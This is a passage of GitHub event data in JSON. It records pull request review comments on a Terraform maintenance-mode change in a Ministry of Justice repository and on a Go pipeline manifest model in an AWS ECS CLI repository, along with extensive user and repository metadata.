"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1002461?",
"url": "https://api.github.com/users/montogeek"
}
|
{
"id": 2105791,
"login": "webpack",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2105791?",
"url": "https://api.github.com/orgs/webpack"
}
| 2020-01-06T12:42:51 |
11210244811
|
{"actor":{"display_login":"montogeek"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls/comments/348506790","pull_request_review_id":319869296,"id":348506790,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM0ODUwNjc5MA==","diff_hunk":"@@ -48,6 +48,52 @@ resource \"aws_lb_listener\" \"public_front_loadbalancer\" {\n }\n }\n \n+resource \"aws_ssm_parameter\" \"maintenance_switch\" {\n+ name = \"${local.environment}_enable_maintenance\"\n+ type = \"String\"\n+ value = \"false\"\n+ description = \"values of either 'true' or 'false' only\"\n+ allowed_pattern = \"^(true|false)\"\n+ overwrite = true\n+ lifecycle {\n+ ignore_changes = [\n+ \"value\",","path":"terraform/environment/load_balancer_public_front.tf","position":13,"original_position":13,"commit_id":"aba644884fc6ae24dd60a6f5b7a0831ac8fd7f43","original_commit_id":"aba644884fc6ae24dd60a6f5b7a0831ac8fd7f43","user":{"login":"hansnqyr","id":1787011,"node_id":"MDQ6VXNlcjE3ODcwMTE=","avatar_url":"https://avatars2.githubusercontent.com/u/1787011?v=4","gravatar_id":"","url":"https://api.github.com/users/hansnqyr","html_url":"https://github.com/hansnqyr","followers_url":"https://api.github.com/users/hansnqyr/followers","following_url":"https://api.github.com/users/hansnqyr/following{/other_user}","gists_url":"https://api.github.com/users/hansnqyr/gists{/gist_id}","starred_url":"https://api.github.com/users/hansnqyr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hansnqyr/subscriptions","organizations_url":"https://api.github.com/users/hansnqyr/orgs","repos_url":"https://api.github.com/users/hansnqyr/repos","events_url":"https://api.github.com/users/hansnqyr/events{/privacy}","received_events_url":"https://api.github.com/users/hansnqyr/received_events","type":"User","site_admin":false},"body":"this could be a little denser","created_at":"2019-11-20T14:19:44Z","updated_at":"2019-11-20T14:27:17Z","html_url":"https://github.com/ministryofjustice/opg-refunds/pull/106#discussion_r348506790","pull_request_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls/106","author_association":"NONE","_links":{"self":{"href":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls/comments/348506790"},"html":{"href":"https://github.com/ministryofjustice/opg-refunds/pull/106#discussion_r348506790"},"pull_request":{"href":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls/106"}}},"pull_request":{"url":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls/106","id":342117973,"node_id":"MDExOlB1bGxSZXF1ZXN0MzQyMTE3OTcz","html_url":"https://github.com/ministryofjustice/opg-refunds/pull/106","diff_url":"https://github.com/ministryofjustice/opg-refunds/pull/106.diff","patch_url":"https://github.com/ministryofjustice/opg-refunds/pull/106.patch","issue_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/issues/106","number":106,"state":"open","locked":false,"title":"Deploy Maintenance Site","user":{"login":"andrewpearce-digital","id":6545556,"node_id":"MDQ6VXNlcjY1NDU1NTY=","avatar_url":"https://avatars0.githubusercontent.com/u/6545556?v=4","gravatar_id":"","url":"https://api.github.com/users/andrewpearce-digital","html_url":"https://github.com/andrewpearce-digital","followers_url":"https://api.github.com/users/andrewpearce-digital/followers","following_url":"https://api.github.com/users/andrewpearce-digital/following{/other_user}","gists_url":"https://api.github.com/users/andrewpearce-digital/gists{/gist_id}","starred_url":"https://api.github.com/users/andrewpearce-digital/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/andrewpearce-digital/subscriptions","organizations_url":"https://api.github.com/users/andrewpearce-digital/orgs","repos_url":"https://api.github.com/users/andrewpearce-digital/repos","events_url":"https://api.github.com/users/andrewpearce-digital/events{/privacy}","received_events_url":"https://api.github.com/users/andrewpearce-digital/received_events","type":"User","site_admin":false},"body":"- remove previous code to build and deploy a maintenance site with cloudfront and ecs\r\n- remove unused providers wherever possible\r\n- use listener rules to redirect to a maintenance page\r\n- provide instructions how to enable maintenance mode","created_at":"2019-11-18T12:03:43Z","updated_at":"2019-11-20T14:27:16Z","closed_at":null,"merged_at":null,"merge_commit_sha":"b591ac66118cfd24b289fdd132c8d2d8ccacc395","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls/106/commits","review_comments_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls/106/comments","review_comment_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls/comments{/number}","comments_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/issues/106/comments","statuses_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/statuses/aba644884fc6ae24dd60a6f5b7a0831ac8fd7f43","head":{"label":"ministryofjustice:LPA-3470","ref":"LPA-3470","sha":"aba644884fc6ae24dd60a6f5b7a0831ac8fd7f43","user":{"login":"ministryofjustice","id":2203574,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIyMDM1NzQ=","avatar_url":"https://avatars3.githubusercontent.com/u/2203574?v=4","gravatar_id":"","url":"https://api.github.com/users/ministryofjustice","html_url":"https://github.com/ministryofjustice","followers_url":"https://api.github.com/users/ministryofjustice/followers","following_url":"https://api.github.com/users/ministryofjustice/following{/other_user}","gists_url":"https://api.github.com/users/ministryofjustice/gists{/gist_id}","starred_url":"https://api.github.com/users/ministryofjustice/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ministryofjustice/subscriptions","organizations_url":"https://api.github.com/users/ministryofjustice/orgs","repos_url":"https://api.github.com/users/ministryofjustice/repos","events_url":"https://api.github.com/users/ministryofjustice/events{/privacy}","received_events_url":"https://api.github.com/users/ministryofjustice/received_events","type":"Organization","site_admin":false},"repo":{"id":132725496,"node_id":"MDEwOlJlcG9zaXRvcnkxMzI3MjU0OTY=","name":"opg-refunds","full_name":"ministryofjustice/opg-refunds","private":false,"owner":{"login":"ministryofjustice","id":2203574,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIyMDM1NzQ=","avatar_url":"https://avatars3.githubusercontent.com/u/2203574?v=4","gravatar_id":"","url":"https://api.github.com/users/ministryofjustice","html_url":"https://github.com/ministryofjustice","followers_url":"https://api.github.com/users/ministryofjustice/followers","following_url":"https://api.github.com/users/ministryofjustice/following{/other_user}","gists_url":"https://api.github.com/users/ministryofjustice/gists{/gist_id}","starred_url":"https://api.github.com/users/ministryofjustice/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ministryofjustice/subscriptions","organizations_url":"https://api.github.com/users/ministryofjustice/orgs","repos_url":"https://api.github.com/users/ministryofjustice/repos","events_url":"https://api.github.com/users/ministryofjustice/events{/privacy}","received_events_url":"https://api.github.com/users/ministryofjustice/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ministryofjustice/opg-refunds","description":"OPG Historic Refunds: Managed by opg-org-infra & Terraform","fork":false,"url":"https://api.github.com/repos/ministryofjustice/opg-refunds","forks_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/forks","keys_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/teams","hooks_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/hooks","issue_events_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/issues/events{/number}","events_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/events","assignees_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/assignees{/user}","branches_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/branches{/branch}","tags_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/tags","blobs_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/git/refs{/sha}","trees_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/statuses/{sha}","languages_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/languages","stargazers_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/stargazers","contributors_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/contributors","subscribers_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/subscribers","subscription_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/subscription","commits_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/commits{/sha}","git_commits_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/git/commits{/sha}","comments_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/comments{/number}","issue_comment_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/issues/comments{/number}","contents_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/contents/{+path}","compare_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/merges","archive_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/downloads","issues_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/issues{/number}","pulls_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls{/number}","milestones_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/milestones{/number}","notifications_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/labels{/name}","releases_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/releases{/id}","deployments_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/deployments","created_at":"2018-05-09T08:24:07Z","updated_at":"2019-11-18T14:25:21Z","pushed_at":"2019-11-20T14:09:51Z","git_url":"git://github.com/ministryofjustice/opg-refunds.git","ssh_url":"git@github.com:ministryofjustice/opg-refunds.git","clone_url":"https://github.com/ministryofjustice/opg-refunds.git","svn_url":"https://github.com/ministryofjustice/opg-refunds","homepage":"","size":23225,"stargazers_count":0,"watchers_count":0,"language":"PHP","has_issues":false,"has_projects":false,"has_downloads":false,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":6,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":0,"open_issues":6,"watchers":0,"default_branch":"master"}},"base":{"label":"ministryofjustice:master","ref":"master","sha":"efdb985359c87ef0bc54e0c38a62ab51a7b40654","user":{"login":"ministryofjustice","id":2203574,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIyMDM1NzQ=","avatar_url":"https://avatars3.githubusercontent.com/u/2203574?v=4","gravatar_id":"","url":"https://api.github.com/users/ministryofjustice","html_url":"https://github.com/ministryofjustice","followers_url":"https://api.github.com/users/ministryofjustice/followers","following_url":"https://api.github.com/users/ministryofjustice/following{/other_user}","gists_url":"https://api.github.com/users/ministryofjustice/gists{/gist_id}","starred_url":"https://api.github.com/users/ministryofjustice/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ministryofjustice/subscriptions","organizations_url":"https://api.github.com/users/ministryofjustice/orgs","repos_url":"https://api.github.com/users/ministryofjustice/repos","events_url":"https://api.github.com/users/ministryofjustice/events{/privacy}","received_events_url":"https://api.github.com/users/ministryofjustice/received_events","type":"Organization","site_admin":false},"repo":{"id":132725496,"node_id":"MDEwOlJlcG9zaXRvcnkxMzI3MjU0OTY=","name":"opg-refunds","full_name":"ministryofjustice/opg-refunds","private":false,"owner":{"login":"ministryofjustice","id":2203574,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIyMDM1NzQ=","avatar_url":"https://avatars3.githubusercontent.com/u/2203574?v=4","gravatar_id":"","url":"https://api.github.com/users/ministryofjustice","html_url":"https://github.com/ministryofjustice","followers_url":"https://api.github.com/users/ministryofjustice/followers","following_url":"https://api.github.com/users/ministryofjustice/following{/other_user}","gists_url":"https://api.github.com/users/ministryofjustice/gists{/gist_id}","starred_url":"https://api.github.com/users/ministryofjustice/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ministryofjustice/subscriptions","organizations_url":"https://api.github.com/users/ministryofjustice/orgs","repos_url":"https://api.github.com/users/ministryofjustice/repos","events_url":"https://api.github.com/users/ministryofjustice/events{/privacy}","received_events_url":"https://api.github.com/users/ministryofjustice/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ministryofjustice/opg-refunds","description":"OPG Historic Refunds: Managed by opg-org-infra & Terraform","fork":false,"url":"https://api.github.com/repos/ministryofjustice/opg-refunds","forks_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/forks","keys_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/teams","hooks_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/hooks","issue_events_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/issues/events{/number}","events_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/events","assignees_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/assignees{/user}","branches_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/branches{/branch}","tags_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/tags","blobs_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/git/refs{/sha}","trees_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/statuses/{sha}","languages_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/languages","stargazers_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/stargazers","contributors_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/contributors","subscribers_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/subscribers","subscription_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/subscription","commits_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/commits{/sha}","git_commits_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/git/commits{/sha}","comments_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/comments{/number}","issue_comment_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/issues/comments{/number}","contents_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/contents/{+path}","compare_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/merges","archive_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/downloads","issues_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/issues{/number}","pulls_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls{/number}","milestones_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/milestones{/number}","notifications_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/labels{/name}","releases_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/releases{/id}","deployments_url":"https://api.github.com/repos/ministryofjustice/opg-refunds/deployments","created_at":"2018-05-09T08:24:07Z","updated_at":"2019-11-18T14:25:21Z","pushed_at":"2019-11-20T14:09:51Z","git_url":"git://github.com/ministryofjustice/opg-refunds.git","ssh_url":"git@github.com:ministryofjustice/opg-refunds.git","clone_url":"https://github.com/ministryofjustice/opg-refunds.git","svn_url":"https://github.com/ministryofjustice/opg-refunds","homepage":"","size":23225,"stargazers_count":0,"watchers_count":0,"language":"PHP","has_issues":false,"has_projects":false,"has_downloads":false,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":6,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":0,"open_issues":6,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls/106"},"html":{"href":"https://github.com/ministryofjustice/opg-refunds/pull/106"},"issue":{"href":"https://api.github.com/repos/ministryofjustice/opg-refunds/issues/106"},"comments":{"href":"https://api.github.com/repos/ministryofjustice/opg-refunds/issues/106/comments"},"review_comments":{"href":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls/106/comments"},"review_comment":{"href":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/ministryofjustice/opg-refunds/pulls/106/commits"},"statuses":{"href":"https://api.github.com/repos/ministryofjustice/opg-refunds/statuses/aba644884fc6ae24dd60a6f5b7a0831ac8fd7f43"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 132725496,
"name": "ministryofjustice/opg-refunds",
"url": "https://api.github.com/repos/ministryofjustice/opg-refunds"
}
|
{
"id": 1787011,
"login": "hansnqyr",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1787011?",
"url": "https://api.github.com/users/hansnqyr"
}
|
{
"id": 2203574,
"login": "ministryofjustice",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2203574?",
"url": "https://api.github.com/orgs/ministryofjustice"
}
| 2019-11-20T14:19:44 |
10907216111
|
{"actor":{"display_login":"hansnqyr"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls/comments/337815321","pull_request_review_id":305589557,"id":337815321,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMzNzgxNTMyMQ==","diff_hunk":"@@ -0,0 +1,178 @@\n+// Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n+// SPDX-License-Identifier: Apache-2.0\n+\n+package manifest\n+\n+import (\n+\t\"bytes\"\n+\t\"errors\"\n+\t\"fmt\"\n+\t\"text/template\"\n+\n+\t\"github.com/fatih/structs\"\n+\t\"gopkg.in/yaml.v3\"\n+\n+\t\"github.com/aws/amazon-ecs-cli-v2/internal/pkg/archer\"\n+\t\"github.com/aws/amazon-ecs-cli-v2/templates\"\n+)\n+\n+// Provider defines a source of the artifacts\n+// that will be built and deployed via a pipeline\n+type Provider interface {\n+\tfmt.Stringer\n+\tName() string\n+\tProperties() map[string]interface{}\n+}\n+\n+type githubProvider struct {\n+\tproperties *GithubProperties\n+}\n+\n+func (p *githubProvider) Name() string {\n+\treturn \"github\"\n+}\n+\n+func (p *githubProvider) String() string {\n+\treturn \"github\"\n+}\n+\n+func (p *githubProvider) Properties() map[string]interface{} {\n+\treturn structs.Map(p.properties)\n+}\n+\n+// GithubProperties contain information for configuring a Github\n+// source provider.\n+type GithubProperties struct {\n+\t// use tag from https://godoc.org/github.com/fatih/structs#example-Map--Tags\n+\t// to specify the name of the field in the output properties\n+\tRepository string `structs:\"repository\" yaml:\"repository\"`\n+\tBranch string `structs:\"branch\" yaml:\"branch\"`\n+}\n+\n+// NewProvider creates a source provider based on the type of\n+// the provided provider-specific configurations\n+func NewProvider(configs interface{}) (Provider, error) {\n+\tswitch props := configs.(type) {\n+\tcase *GithubProperties:\n+\t\treturn &githubProvider{\n+\t\t\tproperties: props,\n+\t\t}, nil\n+\tdefault:\n+\t\treturn nil, &ErrUnknownProvider{unknownProviderProperties: props}\n+\t}\n+}\n+\n+// PipelineSchemaMajorVersion is the major version number\n+// of the pipeline manifest schema\n+type PipelineSchemaMajorVersion int\n+\n+const (\n+\t// Ver1 is the current schema major version of the pipeline.yml file.\n+\tVer1 PipelineSchemaMajorVersion = iota + 1\n+)\n+\n+// PipelineManifest contains information that defines the relationship\n+// and deployment ordering of your environments.\n+type PipelineManifest struct {\n+\tVersion PipelineSchemaMajorVersion `yaml:\"version\"`\n+\tSource *Source `yaml:\"source\"`\n+\tEnvironments []PipelineStage `yaml:\"stages\"`\n+}\n+\n+// Source defines the source of the artifacts to be built and deployed.\n+type Source struct {\n+\tProviderName string `yaml:\"provider\"`\n+\tProperties map[string]interface{} `yaml:\"properties\"`\n+}\n+\n+// PipelineStage represents configuration for each deployment stage\n+// of an application.\n+type PipelineStage struct {\n+\tName string `yaml:\"env\"`\n+}\n+\n+// CreatePipeline returns a pipeline manifest object.\n+func CreatePipeline(provider Provider, stages ...PipelineStage) (archer.Manifest, error) {\n+\t// TODO: #221 Do more validations\n+\tvar defaultStages []PipelineStage\n+\tif len(stages) == 0 {\n+\t\tdefaultStages = []PipelineStage{","path":"internal/pkg/manifest/pipeline.go","position":99,"original_position":99,"commit_id":"1265a0f3a9017a0dbfccacf1145c85f4fbb14fdb","original_commit_id":"1265a0f3a9017a0dbfccacf1145c85f4fbb14fdb","user":{"login":"kohidave","id":828419,"node_id":"MDQ6VXNlcjgyODQxOQ==","avatar_url":"https://avatars3.githubusercontent.com/u/828419?v=4","gravatar_id":"","url":"https://api.github.com/users/kohidave","html_url":"https://github.com/kohidave","followers_url":"https://api.github.com/users/kohidave/followers","following_url":"https://api.github.com/users/kohidave/following{/other_user}","gists_url":"https://api.github.com/users/kohidave/gists{/gist_id}","starred_url":"https://api.github.com/users/kohidave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kohidave/subscriptions","organizations_url":"https://api.github.com/users/kohidave/orgs","repos_url":"https://api.github.com/users/kohidave/repos","events_url":"https://api.github.com/users/kohidave/events{/privacy}","received_events_url":"https://api.github.com/users/kohidave/received_events","type":"User","site_admin":false},"body":"It's cool to keep this now, but I think in the future, we'll just bail if they don't have any environments. ","created_at":"2019-10-23T01:24:24Z","updated_at":"2019-10-23T01:40:15Z","html_url":"https://github.com/aws/amazon-ecs-cli-v2/pull/226#discussion_r337815321","pull_request_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls/226","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls/comments/337815321"},"html":{"href":"https://github.com/aws/amazon-ecs-cli-v2/pull/226#discussion_r337815321"},"pull_request":{"href":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls/226"}}},"pull_request":{"url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls/226","id":330753583,"node_id":"MDExOlB1bGxSZXF1ZXN0MzMwNzUzNTgz","html_url":"https://github.com/aws/amazon-ecs-cli-v2/pull/226","diff_url":"https://github.com/aws/amazon-ecs-cli-v2/pull/226.diff","patch_url":"https://github.com/aws/amazon-ecs-cli-v2/pull/226.patch","issue_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/issues/226","number":226,"state":"open","locked":false,"title":"Preliminary data model for the archer pipeline","user":{"login":"hencrice","id":3822365,"node_id":"MDQ6VXNlcjM4MjIzNjU=","avatar_url":"https://avatars1.githubusercontent.com/u/3822365?v=4","gravatar_id":"","url":"https://api.github.com/users/hencrice","html_url":"https://github.com/hencrice","followers_url":"https://api.github.com/users/hencrice/followers","following_url":"https://api.github.com/users/hencrice/following{/other_user}","gists_url":"https://api.github.com/users/hencrice/gists{/gist_id}","starred_url":"https://api.github.com/users/hencrice/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hencrice/subscriptions","organizations_url":"https://api.github.com/users/hencrice/orgs","repos_url":"https://api.github.com/users/hencrice/repos","events_url":"https://api.github.com/users/hencrice/events{/privacy}","received_events_url":"https://api.github.com/users/hencrice/received_events","type":"User","site_admin":false},"body":"<!-- Provide summary of changes -->\r\nIt implements a preliminary data model for the archer pipeline. The validations are fairly limited for now because we have not yet finalized on the data model.\r\n\r\n<!-- Issue number, if available. E.g. \"Fixes #31\", \"Addresses #42, 77\" -->\r\nThis PR resolves #210. \r\n\r\nBy submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.\r\n","created_at":"2019-10-22T00:21:00Z","updated_at":"2019-10-23T01:40:15Z","closed_at":null,"merged_at":null,"merge_commit_sha":"8e9de4f84c8d556819a73f7d4129447f8fa30e5c","assignee":null,"assignees":[],"requested_reviewers":[{"login":"sonofachamp","id":6614021,"node_id":"MDQ6VXNlcjY2MTQwMjE=","avatar_url":"https://avatars1.githubusercontent.com/u/6614021?v=4","gravatar_id":"","url":"https://api.github.com/users/sonofachamp","html_url":"https://github.com/sonofachamp","followers_url":"https://api.github.com/users/sonofachamp/followers","following_url":"https://api.github.com/users/sonofachamp/following{/other_user}","gists_url":"https://api.github.com/users/sonofachamp/gists{/gist_id}","starred_url":"https://api.github.com/users/sonofachamp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sonofachamp/subscriptions","organizations_url":"https://api.github.com/users/sonofachamp/orgs","repos_url":"https://api.github.com/users/sonofachamp/repos","events_url":"https://api.github.com/users/sonofachamp/events{/privacy}","received_events_url":"https://api.github.com/users/sonofachamp/received_events","type":"User","site_admin":false},{"login":"SoManyHs","id":29964746,"node_id":"MDQ6VXNlcjI5OTY0NzQ2","avatar_url":"https://avatars0.githubusercontent.com/u/29964746?v=4","gravatar_id":"","url":"https://api.github.com/users/SoManyHs","html_url":"https://github.com/SoManyHs","followers_url":"https://api.github.com/users/SoManyHs/followers","following_url":"https://api.github.com/users/SoManyHs/following{/other_user}","gists_url":"https://api.github.com/users/SoManyHs/gists{/gist_id}","starred_url":"https://api.github.com/users/SoManyHs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SoManyHs/subscriptions","organizations_url":"https://api.github.com/users/SoManyHs/orgs","repos_url":"https://api.github.com/users/SoManyHs/repos","events_url":"https://api.github.com/users/SoManyHs/events{/privacy}","received_events_url":"https://api.github.com/users/SoManyHs/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls/226/commits","review_comments_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls/226/comments","review_comment_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/pulls/comments{/number}","comments_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/issues/226/comments","statuses_url":"https://api.github.com/repos/aws/amazon-ecs-cli-v2/statuses/1265a0f3a9017a0dbfccacf1145c85f4fbb14fdb","head":{"label":"hencrice:dataModelInGo","ref":"dataModelInGo","sha":"1265a0f3a9017a0dbfccacf1145c85f4fbb14fdb","user":{"login":"hencrice","id":3822365,"node_id":"MDQ6VXNlcjM4MjIzNjU=","avatar_url":"https://avatars1.githubusercontent.com/u/3822365?v=4","gravatar_id":"","url":"https://api.github.com/users/hencrice","html_url":"https://github.com/hencrice","followers_url":"https://api.github.com/users/hencrice/followers","following_url":"https://api.github.com/users/hencrice/following{/other_user}","gists_url":"https://api.github.com/users/hencrice/gists{/gist_id}","starred_url":"https://api.github.com/users/hencrice/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hencrice/subscriptions","organizations_url":"https://api.github.com/users/hencrice/orgs","repos_url":"https://api.github.com/users/hencrice/repos","events_url":"https://api.github.com/users/hencrice/events{/privacy}","received_events_url":"https://api.github.com/users/hencrice/received_events","type":"User","site_admin":false},"repo":{"id":213787007,"node_id":"MDEwOlJlcG9zaXRvcnkyMTM3ODcwMDc=","name":"amazon-ecs-cli-v2","full_name":"hencrice/amazon-ecs-cli-v2","private":false,"owner":{"login":"hencrice","id":3822365,"node_id":"MDQ6VXNlcjM4MjIzNjU=","avatar_url":"https://avatars1.githubusercontent.com/u/3822365?v=4","gravatar_id":"","url":"https://api.github.com/users/hencrice","html_url":"https://github.com/hencrice","followers_url":"https://api.github.com/users/hencrice/followers","following_url":"https://api.github.com/users/hencrice/following{/other_user}","gists_url":"https://api.github.com/users/hencrice/gists{/gist_id}","starred_url":"https://api.github.com/users/hencrice/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hencrice/subscriptions","organizations_url":"https://api.github.com/users/hencrice/orgs","repos_url":"https://api.github.com/users/hencrice/repos","events_url":"https://api.github.com/users/hencrice/events{/privacy}","received_events_url":"https://api.github.com/users/hencrice/received_events","type":"User","site_admin":false},"html_url":"https://github.com/hencrice/amazon-ecs-cli-v2","description":"The Amazon ECS CLI enables users to create and manager their ECS projects, from source code, infrastructure to 